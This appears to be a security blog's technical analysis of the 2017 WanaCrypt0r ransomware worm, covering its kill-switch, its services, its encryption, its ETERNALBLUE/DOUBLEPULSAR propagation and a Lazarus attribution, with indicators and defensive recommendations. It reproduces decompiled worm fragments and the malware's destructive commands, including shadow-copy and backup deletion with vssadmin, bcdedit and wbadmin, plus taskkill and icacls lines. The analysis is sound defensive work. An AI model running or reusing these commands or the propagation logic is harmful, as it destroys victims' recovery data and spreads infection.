BACKGROUND
Since the release of the ETERNALBLUE exploit by ‘The Shadow Brokers’ last month security researchers have been watching for a mass attack on global networks. This came on Friday 12th May when it was bundled with ransomware called WanaCrypt0r and let loose. Initial reports of attacks were highlighted by Telefonica in Spain but the malware quickly spread to networks in the UK where the National Health Service (NHS) was impacted, followed by many other networks across the world.
The infographic below illustrates the key components of the WanaCrypt0r ransomware. This is described in further detail in subsequent sections of this report along with initial clues on attribution.
ANALYSIS: Initial Vector
The initial infection vector is still unknown. Reports by some of phishing emails have been dismissed by other researchers as relevant only to a different (unrelated) ransomware campaign, called Jaff.
There is also a working theory that initial compromise may have come from SMB shares exposed to the public internet. Results from Shodan show over 1.5 million devices with port 445 open – the attacker could have infected those shares directly.
The Dropper/Worm
The infection starts from a 3.6Mb executable file named
mssecsvc.exe
or lhdfrgui.exe
. Depending on how it's executed, it can function as a dropper or as a worm.When run, the executable first checks if it can connect to the following URL:
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
The connection is checked with the
WinINet
functions, shown below:
01
|
qmemcpy(&szUrl,
|
02
|
"http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com",
|
03
|
57u);
|
04
|
h1 = InternetOpenA(0, INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0);
|
05
|
h2 = InternetOpenUrlA(h1, &szUrl, 0, 0,
|
06
|
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE,
|
07
|
0);
|
08
|
if (h2)
|
09
|
{
|
10
|
InternetCloseHandle(h1); // if connection succeeds, then quit
|
11
|
InternetCloseHandle(h2);
|
12
|
result = 0;
|
13
|
}
|
14
|
else
|
15
|
{
|
16
|
InternetCloseHandle(h1); // if connection fails
|
17
|
InternetCloseHandle(0);
|
18
|
PAYLOAD(); // then call the payload
|
19
|
result = 0;
|
20
|
}
|
21
|
return result;
|
That means that if the executable is unable to connect to the URL above, it will call the payload. Alternatively, it will activate a payload on an air-gapped system, such as a system within a hospital network.
It is also worth noting that this connection is not proxy aware, therefore in an enterprise IT environment it is unlikely to be able to connect to the domain triggering the payload.
If the executable is run with no command line parameters, it will register and then run itself as a service:
Service name: "mssecsvc2.0"
Service Description: "Microsoft Security Center (2.0) Service"
Service executable: "%ORIGINAL_NAME% -m security"
where
%ORIGINAL_NAME%
is the original name of the executable, such as mssecsvc.exe
or lhdfrgui.exe
.Next, it will start the created service. The payload of the executable will load its own resource called
"R/1831"
, and save it as:c:\windows\tasksche.exe
The original
c:\windows\tasksche.exe
file is renamed into c:\windows\qeriuwjhrf
.Finally, the executable will execute the dropped resource as:
"c:\windows\tasksche.exe /i"
If this executable is started as a service, its service handling procedure will invoke a network replication code, explained below.
EternalBlue Port
Since the Shadow Brokers leaked the EquationGroup / NSA FuzzBunch software, a researcher with the handle @zerosum0x0 has reverse engineered the ETERNALBLUE SMBv1/SMBv2 exploit against Windows Server 2008 R2 SP1 x64. This was released on 21st April 2017.
As @zerosum0x0 predicted:
“Every major malware family, from botnets to ransomware to banking spyware, will eventually add the exploits in the FuzzBunch toolkit to their arsenal. This payload is simply a mechanism to load more malware with full system privileges... This is a jewel compared to the scraps that were given to Stuxnet. It comes in a more dangerous era than the days of Conficker. Given the persistence of the missing MS08-067 patch, we could be in store for a decade of breaches emanating from MS17-010 exploits. It is the perfect storm for one of the most damaging malware infections in computing history.”
This work was further expanded on with an open-source project "MS17-010 Windows SMB RCE", developed by RiskSense Operations, and includes both a Metasploit scanner and a Python port.
On 9th of May 2017, the Python port was further improved to "Store original shellcode in binary, rather than python string representation".
In order to "Make it faster", the shellcode was now declared as binary, further lowering the barrier of porting it into C++ code.
It appears that the ransomware took advantage of the published Python source, along with the shellcode binaries – the SMB structures found in the ransomware are identical to the published ones (e.g. the “Exploits” section of this project was used to infect remote hosts with DOUBLEPULSAR backdoor). The published raw SMB packets appear to be copy-pasted into C++ code, and then recompiled using ported blobs – most likely without even understanding how the EternalBlue SMBv1/SMBv2 exploit actually works.
A detailed description of the network replication and worm functionality is described in Appendix B.
The Payload
The payload is a 3.4Mb file called
tasksche.exe
, created from the worm's resource "1831"
. Such a large size is explained by the bundled TOR executables along with other tools and configuration files.Internal name of this executable is
diskpart.exe
.This file contains another embedded resource in it, named as
"XIA/2058"
. This resource is a ZIP file.If the file detects it was executed without the
"/i"
switch – that is, it was not executed by the worm, it will register itself as a service to provide itself with a persistence mechanism that does not require the worm.For that, it will first generate a pseudo-random name that is derived from the current computer name. For example:
tdyhddeaprj852
Next, it will create read-only directories, and copy itself into those directories, such as:
- •
c:\ProgramData\%RANDOM_NAME%\%EXE_NAME%
- •
c:\Intel\%RANDOM_NAME%\%EXE_NAME%
where
%RANDOM_NAME%
is the previously generated pseudo-random name, and %EXE_NAME%
is the name of its own executable.For example:
- •
c:\ProgramData\tdyhddeaprj852\tasksche.exe
- •
c:\Intel\tdyhddeaprj852\tasksche.exe
Next, it will create a new service:
Service name: %RANDOM_NAME%
Service Description: %RANDOM_NAME%
Service executable: "cmd.exe /c %FULL_PATH_FILENAME%"
where
%FULL_PATH_FILENAME%
is the full path filename of the malicious executable.Following this, it starts the service or directly runs the newly created executable as:
"cmd.exe /c %FULL_PATH_FILENAME%"
To make sure there is only one copy of the executable running, it relies on a mutex named as:
"Global\MsWinZonesCacheCounterMutexA"
Encryption Phase
The malware then proceeds to its file encryption phase.
It will register its working directory in the registry value:
HKLM\SOFTWARE\WanaCrypt0r\wd: "%WORKING_DIR%"
Next, it will unzip its embedded resource
"XIA/2058"
into the working directory, using ZIP password "WNcry@2ol7"
.This will create a number of the files, such as a command line TOR executable, required libraries, ransom messages in various languages, and other tools:
- •
b.wnry
– a bitmap image with the ransom note in it - •
c.wnry
– binary configuration file - •
r.wnry
– a text file with the ransom note in it - •
s.wnry
– a ZIP file with command line TOR executable, required libraries - •
t.wnry
– encrypted ransomware DLL - •
taskdl.exe
– an executable that enumerates and deletes temp files on each drive, looking for files with.WNCRYT
extension in%DRIVE%:\$RECYCLE
and%TEMP%
directories - •
taskse.exe
– an executable that starts@WanaDecryptor@.exe
- •
u.wnry
– ransomware’s decryptor executable that opens a GUI with a ransom note in it - •
msg\m_*.wnry
– a directory with ransom notes in different languages
It will then read the unzipped configuration file
c.wnry
– this file contains the following list of .onion
domains:gx7ekbenv2riucmf.onion
57g7spgrzlojinas.onion
xxlvbrloxvriy2c5.onion
76jdd2ir2embyv47.onion
cwwnhwhlz52maqm7.onion
Next, it picks up a random Bitcoin address out of three hard-coded ones – the list below shows the balances at the time of analysis:
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 - 15.13562354 BTC = $26410
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw - 13.78022431 BTC = $24045
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn - 5.98851225 BTC = $17361
Hence, the total amount of the collected ransom at the time of writing is ~USD$68K.
The selected Bitcoin address is then saved back into
c.wnry
file. Thus, the purpose of this file is to store configuration.Next, the ransomware runs the following commands to assign 'hidden' attribute to all of its files and to allow full access rights for all users:
"attrib +h ."
"icacls . /grant Everyone:F /T /C /Q"
It then imports a 2048-bit public RSA key from a hard-coded 1,172-byte blob, stored within the executable. Next, it reads the unzipped resource file
t.wnry
that starts from a "WANACRY!"
marker, and decrypts an AES key from here, using an RSA public key.The recovered AES key is then used to decrypt the rest of
t.wnry
file contents, using AES-128 (CBC).The blob decrypted from
t.wnry
turns out to be a PE-file - the malware parses its PE header, then dynamically loads into a newly allocated memory, and calls its entry point.This PE file is a DLL, and the called entry point corresponds to its DllEntryPoint() export.
Internal name of this DLL is
kbdlv.dll
. The malware locates and then calls its export TaskStart().The Ransomware DLL
The main DLL module of the ransomware has an internal name
kbdlv.dll
. Its export TaskStart() is called to invoke the ransomware’s file encryption logic.The DLL first creates a mutex
"MsWinZonesCacheCounterMutexA"
to make sure there is only one copy of ransomware activated. Next, it reads c.wnry
- a configuration file that stores the list of TOR services.The ransomware will attempt to terminate a number of processes, such as SQL server and MS Exchange server, by running commands:
taskkill.exe /f /im mysqld.exe
taskkill.exe /f /im sqlwriter.exe
taskkill.exe /f /im sqlserver.exe
taskkill.exe /f /im MSExchange*
taskkill.exe /f /im Microsoft.Exchange.*
It will then spawn a number of threads, including a file encryption thread.
It will not attempt to encrypt files within directories that contain following strings in their names:
- •
\Intel
- •
\ProgramData
- •
\WINDOWS
- •
\Program Files
- •
\Program Files (x86)
- •
\AppData\Local\Temp
- •
\Local Settings\Temp
- •
This folder protects against ransomware. Modifying it will reduce protection
- •
Temporary Internet Files
- •
Content.IE5
Before the encrypted files are written, the ransomware checks the free disk space with GetDiskFreeSpaceExW() to make sure it does not run out of free space.
Finally, the DLL creates a copy of the previously unzipped file
u.wnry
, saving and then running it as @WanaDecryptor@.exe.
The Ransomware EXE
The EXE module
@WanaDecryptor@.exe
is run by the DLL (a copy of the previously unzipped file u.wnry
). It is a GUI application with the window name being "Wana Decrypt0r 2.0"
.To delete Windows shadow copies, it runs the commands:
cmd.exe /c vssadmin delete shadows /all /quiet &
wmic shadowcopy delete &
bcdedit /set {default} bootstatuspolicy ignoreallfailures &
bcdedit /set {default} recoveryenabled no &
wbadmin delete catalog -quiet
This executable will connect to C&C via TOR
.onion
domains, in order to anonymise its C&C traffic.Once the ransom is paid, the executable is able to check the status of the payment, and allow file decryption.
Attribution
The WanaCrypt0r ransomware released on 12th May is not the only version. Earlier this year, there was another version released (example MD5:
9c7c7149387a1c79679a87dd1ba755bc
).The older version has a timestamp of 9th February 2017, and was first submitted to VirusTotal on 10th February 2017.
Similar to the latest version, it also relies on external files, only the used extension is
.wry
instead of .wnry
:- •
n.wry
- •
cg.wry
- •
t1.wry
- •
t2.wry
The latest version downloads a TOR client from:
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
The older version downloads a TOR client from:
https://www.torproject.org/dist/torbrowser/6.0.8/tor-win32-0.2.8.11.zip
Both old and new version extract the ZIP file into the
TaskData
folder.It's worth noting that the older variant of ransomware also attempted to replicate across
\\%IP%\ipc$
network shares. Hence, the idea of the network replication was brewing in the attackers' minds long before 'The Shadow Brokers' release.The older version of WanaCrypt0r ransomware relies on a function that generates a random buffer, using an internal table that consists of 75 WORDs:
The implementation of this function is very unique - it cannot be found in any legitimate software. The only other sample where this function can also be found (almost identical, but with minor tweaks) is a sample of Contopee backdoor (MD5:
ac21c8ad899727137c4b94458d7aa8d8
), first submitted to VirusTotal on 15th August 2015.This code overlap was first noticed and tweeted by Google researcher Neel Mehta. This was quickly followed up on by Kaspersky Labs in a blogpost.
The Contopee backdoor sample uses this function as part of its communication protocol with the C&C server. This backdoor family is a tool from the Lazarus threat actors.
The re-use of code is a characteristic of the Lazarus group we noted in our report last year on attacks against SWIFT systems. This re-use is at the source-code level, providing strong evidence of common development environment.
This, along with other overlaps with Lazarus’ previous campaigns is described below:
Characteristic | Lazarus code example | WanaCrypt0r example |
Random buffer generator function | August 2015 Contopee backdoor: ac21c8ad899727137c4b94458d7aa8d8 |
January 2017 WanaCrypt0r: 9c7c7149387a1c79679a87dd1ba755bc |
Code / Compiler | C++ / Visual Studio 6.0 | C++ / Visual Studio 6.0 |
‘leetspeak’ | y0uar3@s!llyid!07 Referenced in US-CERT alert following SONY attack. |
WANACRY! WNcry@2ol7 |
CryptoCurrency | Lazarus has targeted Bitcoin related companies in recent months – possibly looking for ways to steal/launder funds. A watering-hole (same as described in our blog) was setup in February on a popular Bitcoin website. |
WanaCrypt0r uses Bitcoin addresses to receive ransom payments. |
As noted in our attribution post last year, use of Visual Studio 6.0 is not a significant observation on its own – however, this development environment dates from 1998 and is rarely used by malware coders. Nonetheless, it has been seen repeatedly with Lazarus attacks.
CONCLUSIONS
Coupling an SMB worm to ransomware has created a highly effective threat – albeit one which wreaks havoc for relatively little monetary gain. Even though $68K may represent a modest profit for the attackers, moving the money from those bitcoin wallets will attract significant attention from law-enforcement and could identify their money-laundering networks. It is very likely they will not get their hands on any money once this is all over.
Whilst the SMB worm code has been copy/pasted from elsewhere, the ransomware author is clearly an experienced malware-dev. They include checks such as filepaths for anti-ransomware products to avoid detection of their operation. There are mistakes though, such as the “kill-switch” which has been widely discussed. Assuming they used the Python port of code released on 9th May, it implies a very short turn around between development and attack; it is therefore possible the worm got loose whilst the code was still in testing. Either way, the attackers will learn from this campaign, and may return with updated code whilst vulnerabilities remain unpatched.
The linkages to the Lazarus campaign are tantalising clues as to who may be ultimately behind this. Following on from last year's attacks on SWIFT systems and this year's attacks on banks in Poland & Mexico they continue to demonstrate that they are a considerable menace to network defenders. Understanding their tools, techniques and procedures is challenging given the shifting nature of attacks seen, however deserves maximum focus and co-operation across the security community.
The biggest lesson to be learned from this attack though is the on-going challenge which organisations running critical infrastructure face with patching. This isn’t the first case of self-propagating malware impacting healthcare networks we’ve investigated; indeed this reminds us a lot of the QBot/Qakbot episode last year. Then, as now, hospitals are exposed by running on out-of-date systems and with minimal resources to spend on security. The WanaCrypt0r campaign has brought this to international attention – how to fix the problem going forward will need swift debate among technology experts and policy makers to avert similar crises in future.
RECOMMENDATIONS
- • Install patch MS17-010 as a matter of urgency. For out of support operating systems such as XP, Win8 and Server 2003 apply the out of band patch.
- • Add in the following SNORT Rules to IDS devices:
http://doc.emergingthreats.net/bin/view/Main/2024218 - • Block all outgoing connections on port 137,139, 445 and 3389 (i.e. internal to external) to stop the worm spreading externally.
- • Block all incoming connections on ports 137,139, 445 and 3389 (i.e external to internal) to stop the worm coming into the network.
- • Consider blocking connections on port 445 (SMB shares) internally if not business critical until the worm has subsided.
- • Ensure that connections to the domain:
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com
are permitted, This is site is reported to act as a kill switch, for some variants, preventing encryption. Connectivity can be tested with the following python script.
We also suggest noting the recommendations from:
- NCSC-UK: https://www.ncsc.gov.uk/news/latest-statement-international-ransomware-cyber-attack-0
- CIRCL: https://www.circl.lu/pub/tr-41/
- Microsoft: blogs.technet.microsoft.com/mmpc/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/
APPENDIX A – Indictors of compromise
C&C Domain |
gx7ekbenv2riucmf[.]onion |
57g7spgrzlojinas[.]onion |
xxlvbrloxvriy2c5[.]onion |
76jdd2ir2embyv47[.]onion |
cwwnhwhlz52maqm7[.]onion |
iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com |
MD5 Hashes |
4fef5e34143e646dbf9907c4374276f5 |
509c41ec97bb81b0567b059aa2f50fe8 |
7bf2b57f2a205768755c07f238fb32cc |
7f7ccaa16fb15eb1c7399d422f8363e8 |
8495400f199ac77853c53b5a3f278f3e |
84c82835a5d21bbcf75a61706d8ab549 |
db349b97c37d22f5ea1d1841e3c89eb4 |
f107a717f76f4f910ae9cb4dc5290594 |
APPENDIX B – The Network Replicator
The worm replicates across the network using two threads: the first one provides replication across the local network, and the second one - across random IP ranges, thus affecting external addresses (such as honeypots or other exposed SMB shares).
To replicate across internal network, the worm first calls GetAdaptersInfo() to obtain network configuration for each network adapter associated with the system.
The network configuration allows it to use current IP address and mask to build a list of local IP addresses.
For example, if the local IP address is
192.168.78.132
, and the subnet mask is 255.255.255.0
, the worm may build a list of 254 IP addresses that are displayed below in their binary format, such as 014EA8C0
("192.168.78.1"
), 024EA8C0
("192.168.78.2"
), and up to FE4EA8C0
("192.168.78.254"
):NOTE: the constructed list is trailed with the
BAADF00D
markers.This list is then passed to a newly spawned thread to enumerate it, and the worm will then attempt to replicate to each target in the list.
The second network replication thread is spawned each 2 seconds up to 128 times. Each instance of this thread will generate a random IP consisting of 4 octets:
IP1.IP2.IP3.IP4
Each octet is a random value from 0 to 255, generated using CryptGenRandom() API - a cryptographically secure pseudorandom number generator.
First octet
IP1
cannot be set to 127
, 224
, or 225
. If the worm is able to connect to a target with IP address IP1.IP2.IP3.IP4
over port 445
, it will then enumerate 255 IP addresses from IP1.IP2.IP3.1
to IP1.IP2.IP3.255
. The worm will attempt to replicate to each enumerated target.This thread is spawned 128 times - the round number is passed to the thread as an argument, so it is aware about the current round of its own execution. The thread uses it along with an internal timer (using 20 and 40 minute intervals) to define the logic of regeneration of
IP1
and IP2
parts of the random IPs.Both threads rely on the same network propagation mechanism: for each target IP, the worm first attempts to connect on port 445 and submit it two SMB requests, with an attempt to establish if the MS17_010 SMB Vulnerability exists:
- •
negotiate_proto_request
- •
session_setup_andx_request
The code below shows how these packets are submitted:
01
|
name.sa_family = 2;
|
02
|
*(_DWORD *)&name.sa_data[2] = inet_addr(cp);
|
03
|
*(_WORD *)&name.sa_data[0] = htons(hostshort);
|
04
|
hSocket = socket(2, 1, 0);
|
05
|
__hSocket = hSocket;
|
06
|
if ( hSocket != -1 )
|
07
|
{
|
08
|
if ( connect(hSocket, &name, 16) != -1
|
09
|
&& send(__hSocket, negotiate_proto_request, 88, 0) != -1
|
10
|
&& recv(__hSocket, &buf, 1024, 0) != -1
|
11
|
&& send(__hSocket, session_setup_andx_request, 103, 0) != -1
|
12
|
&& recv(__hSocket, &buf, 1024, 0) != -1 )
|
On a network level, WireShark recognises these two packets as Negotiate Protocol Request and Session Setup AndX Request.
Negotiate Protocol Request:
Session Setup AndX Request:
The disassembled source of the worm shows how the Negotiate Protocol Request is built:
The disassembled source shows the Session Setup AndX Request (only the end of it is shown):
The Session Setup AndX Request will get a response, and the code parses it to extract the
native_os
field from it.Following this, the worm composes an IPC share name such as:
\\%IP_ADDRESS%\IPC
Next, the ransomware submits two other SMB requests:
- •
tree_connect_andx_request
- •
peeknamedpipe_request
First, the Tree Connect AndX Request:
Once the host responds, the code will read
tree_id
, process_id
, user_id
, and multiplex_id
, in order construct a new SMB request. In that new request, the following placeholders within request templates will be replaced with the extracted values:- •
__TREEID__PLACEHOLDER__
- •
__USERID__PLACEHOLDER__
- •
__TREEPATH_REPLACE__
The PeekNamedPipe Request is then submitted, recognised in WireShark as:
The SMB header extracted from the received response is then parsed to see if
nt_status
contained in it equals 0x0C000205
. Here is how the malware parses the four bytes of such status (bytes 05
, 02
, 00
, 0C
):
01
|
if (send(__hSocket, peeknamedpipe_request, 78, 0) != -1 // if sent
|
02
|
&& recv(__hSocket, &buf, 1024, 0) != -1 // and recv() is Ok
|
03
|
&& nt_status_0 == 5 // and nt_status byte #0=05
|
04
|
&& nt_status_1 == 2 // and nt_status byte #1=02
|
05
|
&& !nt_status_2 // and nt_status byte #2=00
|
06
|
&& nt_status_3 == 0xC0u) // and nt_status byte #3=0C
|
07
|
{ // if nt_status==0x0C000205
|
08
|
closesocket(__hSocket);
|
09
|
return 1; // return TRUE, host is vulnerable to MS17-010
|
10
|
}
|
11
|
...
|
12
|
return 0; // return FALSE – the host is NOT vulnerable
|
If the host is vulnerable to MS17-010, the worm waits for three seconds and then checks if it is already infected with DOUBLEPULSAR – in order to replicate itself, it needs an active DOUBLEPULSAR backdoor to be installed at the host.
In order to check that, it builds and then submits SMB Trans2 Request or
trans2_request
.As seen below, the
subcommand
field within trans2_request
request is set to SESSION_SETUP
, which is a covert beacon request to the DOUBLEPULSAR backdoor:If the host is infected with DOUBLEPULSAR, the response will contain
"Multiplex ID"
set to 81
(0x51
). Here, the worm sends trans2_request
request, and checks if multiplex_id
equals 0x51
:
01
|
if (send(hSocket, trans2_request, 82, 0) != -1 // if send() Ok
|
02
|
&& recv(hSocket, &buf, 1024, 0) != -1 // and recv() Ok
|
03
|
&& multiplex_id == 0x51) // and DoublePulsar is active
|
04
|
...
|
05
|
return 1; // return TRUE, is backdoored
|
If the scanned host is infected with DOUBLEPULSAR, the worm will calculate an XOR key from the SMB’s
Signature1
field (sig
):
01
|
unsigned int calculate_doublepulsar_xor_key(unsigned int sig)
|
02
|
{
|
03
|
return 2 * sig ^ ((((sig >> 16) | sig & 0xFF0000) >> 8) |
|
04
|
(((sig << 16) | sig & 0xFF00) << 8));
|
05
|
}
|
This XOR key will later be used as a basic stream cipher to encrypt the payload submitted over SMB:
01
|
int xor_payload(int xor_key, int buf, int size)
|
02
|
{
|
03
|
int i;
|
04
|
char __xor_key[5];
|
05
|
i = 0;
|
06
|
*&__xor_key[1] = 0;
|
07
|
*__xor_key = xor_key;
|
08
|
if (size <= 0)
|
09
|
return 0;
|
10
|
do
|
11
|
{
|
12
|
*(i + buf) ^= __xor_key[i % 4];
|
13
|
++i;
|
14
|
}
|
15
|
while ( i < size );
|
16
|
return 0;
|
17
|
}
|
The worm next constructs a new SMB packet. The data contained in the packet will contain malicious shellcode. For example, if the target is x64, the shellcode will first walk backwards to find
ntoskrnl.exe
in kernel memory:Next, it parses
ntoskrnl.exe
’s export table, and dynamically obtains addresses for a number of its exports – the exports are found by hashes, a common approach used in shellcode. The hash calculation function is reconstructed below:
01
|
__int64 get_name_hash(_BYTE *arg_name)
|
02
|
{
|
03
|
_BYTE *name;
|
04
|
int i;
|
05
|
__int64 hash;
|
06
|
name = arg_name;
|
07
|
for (i = 0; ; i = (unsigned __int8)*name++ + (_DWORD)hash)
|
08
|
{
|
09
|
hash = (unsigned int)(127 * i);
|
10
|
if (!*name)
|
11
|
break;
|
12
|
}
|
13
|
return hash;
|
14
|
}
|
For example, a hash of
3E1481DFh
corresponds to PsLookupProcessByProcessID(), as explained in an article from Countercept.NOTE: the 32-bit version of the code is identical in its functionality to its x64 version.
The shellcode will then use kernel’s ZwQuerySystemInformation() API to obtain the list of loaded drivers. Among those drivers, it will be looking for a driver named
Srv.sys
– the driver is also found by its hash name:It will then locate the
Srv.sys
driver’s .data
section with the purpose of patching its SrvTransaction2DispatchTable
– namely, placing a hook on its SrvTransactionNotImplemented() function, making sure that the shellcode is invoked as a hook handler, as explained by @zerosum0x0
.Next, the worm will construct a payload wrapped into a new SMB packet. For this, it will build a new DLL out of its own
.data
section. The internal name of the DLL is launcher.dll
, and its only export is PlayGame(). The DLL is built using the worm's own file contents, and thus, the DLL is constructed as a thin wrapper around the worm's own executable.The constructed DLL will be passed to the remote host along with the shellcode to load it up, via SMB, in 4Kb chunks, making sure each chunk is encrypted with the earlier derived XOR key.
With the hook in place, when such a payload packet arrives via SMB, it will be seen by
Srv.sys
(an SMB driver) as an invalid SMB request. Therefore, it will call SrvTransactionNotImplemented() function from its own dispatch table. Since this function will be hooked, the shellcode with DLL injection logic will be invoked instead, that in turn relies on KeInsertQueueApc().As a result, the shellcode invoked as a hook handler will allocate memory in the executable region of memory, extract the received DLL in it, and run it in the userspace. This will lead to the execution of the ransomware on the remote host.
The newly built DLL
launcher.dll
delivered and executed at the host has very little functionality: when its PlayGame() export is called, it only loads up its own resource "W/101"
, saves and then runs it under a fixed name:C:\WINDOWS\mssecsvc.exe
Since
mssecsvc.exe
is extracted from the DLL resource, which in turn is built by worm from its own body, it will be equivalent to the worm executable itself.If it turns out that the remote host is not infected with DOUBLEPULSAR, the worm will attempt to infect the host with DOUBLEPULSAR, using the same technique as ETERNALBLUE explained above. This attempt will be repeated up to 5 times, with a 3 second interval between the attempts.
A high-level description of the worm’s logic is shown below:
01
|
if (IS_VULNERABLE_TO_MS17_010(&target, 445))
|
02
|
{
|
03
|
i = 0;
|
04
|
do
|
05
|
{
|
06
|
Sleep(3000); // wait for 3 seconds
|
07
|
if (IS_BACKDOORED(&target, 1, 445)) // DoublePulsar installed?
|
08
|
break; // then quit the loop
|
09
|
Sleep(3000); // otherwise, wait 3 sec.
|
10
|
INFECT_WITH_DOUBLEPULSAR(&target, 445);// install DoublePulsar
|
11
|
++i;
|
12
|
}
|
13
|
while ( i < 5 ); // repeat up to 5 times
|
14
|
} // ..until backdoor-ed
|
15
|
Sleep(3000); // wait for 3 seconds
|
16
|
if (IS_BACKDOORED(&target, 1, 445)) // finally backdoor-ed?
|
17
|
SEND_PAYLOAD_RANSOMWARE(&target, 1, 445);// send WCry as DLL
|
18
|
endthreadex(0, *&target); // quit the thread
|
According to this logic, if the host already has DOUBLEPULSAR backdoor installed on it, the worm will send it the ransomware payload to execute it on the remote host. In turn, that instance of the ransomware will try to further replicate.
If the DOUBLEPULSAR backdoor is not installed on the remote host, the worm will try to install it. Only if the DOUBLEPULSAR backdoor is found to be installed on the remote host, only then the worm will try to replicate to it, via the backdoor.
No comments:
Post a Comment